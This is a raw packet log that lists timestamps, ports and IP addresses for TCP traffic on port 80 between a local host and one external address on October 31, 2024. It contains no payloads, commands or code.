Oct 31, 2024 07:14:33.707927942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.707962036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.707962036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.707973957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.707984924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.707984924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.708009958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.708045006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.010896921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.015777111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299345970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299530983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299541950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299551964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299572945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299585104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299596071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299601078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.299631119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.299648046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299652100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.299659014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299685955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299691916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.299696922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299707890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299721003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299726963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.299750090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299751043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.299762011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299772978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299773932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.299796104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.299798012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299808979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299818993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.299830914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299840927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.299846888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299859047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299863100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.299870014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299881935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299889088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.299911976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.299923897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299933910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.299947023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299958944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299968004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299979925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.299984932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.299993038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300009966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300039053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300055981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300066948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300079107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300088882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300095081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300100088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300122976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300127029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300143003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300152063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300162077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300170898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300173044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300184011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300194025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300213099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300225973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300230980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300247908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300250053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300263882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300271988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300273895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300276995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300277948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300282955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300286055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300295115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300332069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300333977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300378084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300400019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300417900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300435066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300441027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300446033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300465107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300479889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300486088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300491095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300501108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300512075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300522089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300537109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300543070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300549984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300561905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300565958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300591946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300592899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300602913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300612926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300615072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300626993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300635099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300652981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300657034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300669909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300681114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300682068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300708055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300709009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300719976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300730944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300736904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300743103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300769091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300793886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300817013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300884962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300896883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300909042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300920010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300926924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300957918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300960064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.300970078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.300997019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301002979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.301009893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301026106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.301035881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301054001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301059961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.301064014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301074028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301085949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.301091909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301107883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301115036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.301121950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301136017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.301146984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301165104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.301170111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301175117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301181078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301182032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301192045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301198959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.301220894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301227093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.301232100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301244020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301250935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.301269054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301275015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301278114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.301286936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301301003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.301323891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301331043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.301336050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301346064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301357985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301367998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.301392078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.301404953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301445961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.301455975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.301495075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.418512106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.418556929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.418567896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.418586016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.418615103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.418637991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.418653965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.418665886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.418677092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.418724060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.418724060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.418744087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.418755054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.418770075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.418783903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.418796062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.418811083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.418811083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.418834925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.418848038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.418859959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.418872118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.418881893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.418893099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.418900013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.418900013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.418946028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.418946028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.419011116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.419023991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.419034004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.419084072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.419084072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.463046074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463069916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463073969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463141918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463151932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463159084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463207006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463217974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463223934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463244915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.463298082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463321924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.463352919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.463356018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463366985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463371992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463411093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463412046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.463423014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463450909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.463453054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463464975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463480949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463490963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463495016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.463502884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463519096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.463529110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463546038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463558912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463562965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.463562965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.463609934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.463799000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463814974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463825941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463849068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.463877916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463917017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.463917017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.463928938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463941097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463972092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463984966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.463989019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.463989019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.463996887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464021921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464061975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464072943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464083910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464085102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464101076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464118958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464127064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464134932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464144945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464160919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464174032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464179993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464183092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464210033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464217901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464221954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464231968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464243889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464245081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464256048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464271069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464279890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464303017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464332104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464344978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464354992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464380980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464390039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464406013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464418888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464420080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464420080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464431047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464453936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464466095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464469910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464469910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464477062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464488983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464499950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464512110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464519978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464562893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464586020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464596033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464606047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464617014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464627981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464637995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464641094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464653015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464663982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464663982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464675903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464692116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464698076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464734077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464734077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464735985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464747906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464759111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464786053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464797020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464797974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464797974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464802980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464812994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464864016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464888096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.464972973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464984894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.464994907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465007067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465019941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465020895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465044975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465058088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465065956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465076923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465090036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:34.465095043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:34.465095043 CET	49758	80	192.168.2.4	185.215.113.206
